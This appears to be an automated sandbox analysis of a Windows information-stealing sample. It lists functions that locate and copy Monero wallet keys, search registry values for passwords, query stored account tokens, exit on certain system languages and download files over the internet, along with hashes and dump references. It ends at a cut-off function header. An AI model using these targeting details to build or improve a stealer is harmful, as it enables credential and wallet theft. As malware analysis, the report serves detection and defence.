Function 00F01310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F012A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F012B4
Part of subcall function 00F012A0: RtlAllocateHeap.NTDLL(00000000), ref: 00F012BB
Part of subcall function 00F012A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00F012D7
Part of subcall function 00F012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00F012F5
Part of subcall function 00F012A0: RegCloseKey.ADVAPI32(?), ref: 00F012FF

lstrcat.KERNEL32(?,00000000), ref: 00F0134F
lstrlen.KERNEL32(?), ref: 00F0135C
lstrcat.KERNEL32(?,.keys), ref: 00F01377

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

Part of subcall function 00F18B60: GetSystemTime.KERNEL32(00F20E1A,008AAD30,00F205AE,?,?,00F013F9,?,0000001A,00F20E1A,00000000,?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F18B86

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00F01465

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

Part of subcall function 00F099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F099EC
Part of subcall function 00F099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F09A11
Part of subcall function 00F099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F09A31
Part of subcall function 00F099C0: ReadFile.KERNEL32(000000FF,?,00000000,00F0148F,00000000), ref: 00F09A5A
Part of subcall function 00F099C0: LocalFree.KERNEL32(00F0148F), ref: 00F09A90
Part of subcall function 00F099C0: CloseHandle.KERNEL32(000000FF), ref: 00F09A9A

DeleteFileA.KERNEL32(00000000), ref: 00F014EF

Strings

\Monero\wallet.keys, xrefs: 00F0138D
.keys, xrefs: 00F0136B
SOFTWARE\monero-project\monero-core, xrefs: 00F01335
wallet_path, xrefs: 00F01330

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 47a089ae25808970b3b1b81c241073e3eba7dc5d8bdc1d344345bcfc57525040
Instruction ID: 2726b6d0b945e6efca2fb1dec12d4001c173c5c71e6a7409677382549f218c3b
Opcode Fuzzy Hash: 47a089ae25808970b3b1b81c241073e3eba7dc5d8bdc1d344345bcfc57525040
Instruction Fuzzy Hash: E45155B1D5011897DB15FB60DD92FED733CAF54710F4041A8B60A620C1EE786BC6DBA6

Function 00F075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F072D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00F0733A
Part of subcall function 00F072D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00F073B1
Part of subcall function 00F072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00F0740D
Part of subcall function 00F072D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00F07452
Part of subcall function 00F072D0: HeapFree.KERNEL32(00000000), ref: 00F07459

lstrcat.KERNEL32(00000000,00F217FC), ref: 00F07606
lstrcat.KERNEL32(00000000,00000000), ref: 00F07648
lstrcat.KERNEL32(00000000, : ), ref: 00F0765A
lstrcat.KERNEL32(00000000,00000000), ref: 00F0768F
lstrcat.KERNEL32(00000000,00F21804), ref: 00F076A0
lstrcat.KERNEL32(00000000,00000000), ref: 00F076D3
lstrcat.KERNEL32(00000000,00F21808), ref: 00F076ED
task.LIBCPMTD ref: 00F076FB

Strings

: , xrefs: 00F0764E

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: f05763f06c3088ef3d08e72595565d6e8bf32358213f08445ee9a3d48c32b706
Instruction ID: 6b1f4d95dd5db24f2da215327fcfce95b106b6b7b88e5da6edbb4997f6c473b1
Opcode Fuzzy Hash: f05763f06c3088ef3d08e72595565d6e8bf32358213f08445ee9a3d48c32b706
Instruction Fuzzy Hash: 02314D7AD40209DBDB18EBE4EC95DEE7774FF48701B104128E117A7284DA38A986EB51

Function 00F060A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

Part of subcall function 00F047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F04839
Part of subcall function 00F047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F04849

InternetOpenA.WININET(00F20DF7,00000001,00000000,00000000,00000000), ref: 00F0610F
StrCmpCA.SHLWAPI(?,008AF278), ref: 00F06147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00F0618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00F061B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00F061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00F0620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00F06249
InternetCloseHandle.WININET(?), ref: 00F06253
InternetCloseHandle.WININET(00000000), ref: 00F06260

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 5d8df85d2a575f95fbbaa135716ad41dbe0258950befaa7e1d6ab5010135de0f
Instruction ID: f2c45a684e3852c1a1e8d870fa58e6afb38cf7ccd646ceb1072eeba851390f6c
Opcode Fuzzy Hash: 5d8df85d2a575f95fbbaa135716ad41dbe0258950befaa7e1d6ab5010135de0f
Instruction Fuzzy Hash: CA519FB1940218ABDF24DF60DD49BEE77B8EF04701F1080A8B606A71C0DB756AC9EF95

Function 00F072D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00F0733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00F073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00F0740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00F07452
HeapFree.KERNEL32(00000000), ref: 00F07459
task.LIBCPMTD ref: 00F07555

Strings

Password, xrefs: 00F07401

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 48562bf62f22388ec75b80c10dbc4295eef80f2a51d42830a251ef5e7e68eabf
Instruction ID: 5d1266f1fce0709cbb4a0fa27ebba44e1d6e4618e981554794bd66d3bb29f1c8
Opcode Fuzzy Hash: 48562bf62f22388ec75b80c10dbc4295eef80f2a51d42830a251ef5e7e68eabf
Instruction Fuzzy Hash: 2D612CB5D04268DBDB24DB50DC41BDAB7B8BF44340F0081E9E689A6181DFB46BC9EF90

Function 00F0BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

lstrlen.KERNEL32(00000000), ref: 00F0BC9F

Part of subcall function 00F18E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F18E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00F0BCCD
lstrlen.KERNEL32(00000000), ref: 00F0BDA5
lstrlen.KERNEL32(00000000), ref: 00F0BDB9

Strings

AccountId, xrefs: 00F0BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00F0BBEB
AccountTokens, xrefs: 00F0BB49
AccountTokens, xrefs: 00F0BABA

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 68c53fd725c71a443f9ff1d5518e69a5008169e50c12cab59fb0697482602060
Instruction ID: b418ed721b62f996658820a17542180a57de0845be32896941c3052d481b292e
Opcode Fuzzy Hash: 68c53fd725c71a443f9ff1d5518e69a5008169e50c12cab59fb0697482602060
Instruction Fuzzy Hash: 52B151719111089BDB14FBA0DD96EEE7339AF54320F404168F507A70D1EF396E89EBA2

Function 00F16770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00F16774
ExitProcess.KERNEL32 ref: 00F167A5
ExitProcess.KERNEL32 ref: 00F167AF
ExitProcess.KERNEL32 ref: 00F167B9
ExitProcess.KERNEL32 ref: 00F167C3
ExitProcess.KERNEL32 ref: 00F167CD

Strings

*, xrefs: 00F1678C

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 7ae449d69f8ab0adaf249a0abbf1066911f8fa41f7bb7456d04ecac18512fb3a
Instruction ID: 46a9bb46e4c2414400565c90cd4760b860c0235a263dcde4065e2d10c139abc2
Opcode Fuzzy Hash: 7ae449d69f8ab0adaf249a0abbf1066911f8fa41f7bb7456d04ecac18512fb3a
Instruction Fuzzy Hash: 46F01734984209EBE368DFE0A5197687B74FB04B03F0501A8F61B87284DA714A819B95

Function 00F04FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00F04FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00F04FD1
InternetOpenA.WININET(00F20DDF,00000000,00000000,00000000,00000000), ref: 00F04FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00F05011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00F05041
InternetCloseHandle.WININET(?), ref: 00F050B9
InternetCloseHandle.WININET(?), ref: 00F050C6

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 3b43f01d2caa602bc162db2c050849863e49dee225ad9488b2c6fa5af5c67d8b
Instruction ID: b610cb0c1e475c02ef2a4f5ffbb2380de286db9643a41c229f3f3906fdf1bbb7
Opcode Fuzzy Hash: 3b43f01d2caa602bc162db2c050849863e49dee225ad9488b2c6fa5af5c67d8b
Instruction Fuzzy Hash: A4312AB5A40218ABDB24CF54DC85BDDB7B4EF48705F1081E8E60AA7284C7746AC59F98

Function 00F18100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,008AEB10,00000000,?,00F20E2C,00000000,?,00000000), ref: 00F18130
RtlAllocateHeap.NTDLL(00000000), ref: 00F18137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00F18158
wsprintfA.USER32 ref: 00F181AC

Strings

%d MB, xrefs: 00F181A3
@, xrefs: 00F1814D

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: e8689726505c4cc7184b74f7e1249396682a01428f6e658c293769576728ec59
Instruction ID: bb925274167e726a64d8d5833be2ad95c252675e34b372a4401ac8f7e2700599
Opcode Fuzzy Hash: e8689726505c4cc7184b74f7e1249396682a01428f6e658c293769576728ec59
Instruction Fuzzy Hash: 69218EB2E44218ABDB14DFD4DD49FAEB7B8FB44B00F104218F615BB280C77869418BA5

Function 00F183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00F18426
wsprintfA.USER32 ref: 00F18459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00F1847B
RegCloseKey.ADVAPI32(00000000), ref: 00F1848C
RegCloseKey.ADVAPI32(00000000), ref: 00F18499

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

RegQueryValueExA.ADVAPI32(00000000,008AEA50,00000000,000F003F,?,00000400), ref: 00F184EC
lstrlen.KERNEL32(?), ref: 00F18501
RegQueryValueExA.ADVAPI32(00000000,008AEB88,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00F20B34), ref: 00F18599
RegCloseKey.ADVAPI32(00000000), ref: 00F18608
RegCloseKey.ADVAPI32(00000000), ref: 00F1861A

Strings

%s\%s, xrefs: 00F1844D

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 47d870f5ec0911b74a5d94a4752a711950e0398ee4c50df948bd1e32f714b57e
Instruction ID: e20c47855d02833c9d86588ce1c47f3f968ad2d1964e2f83126731d2a2175da0
Opcode Fuzzy Hash: 47d870f5ec0911b74a5d94a4752a711950e0398ee4c50df948bd1e32f714b57e
Instruction Fuzzy Hash: FE210A759402189BDB24DB54DD85FE9B3B8FF48711F00C1A8A60A97180DF716AC6CFD4

Function 00F17690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

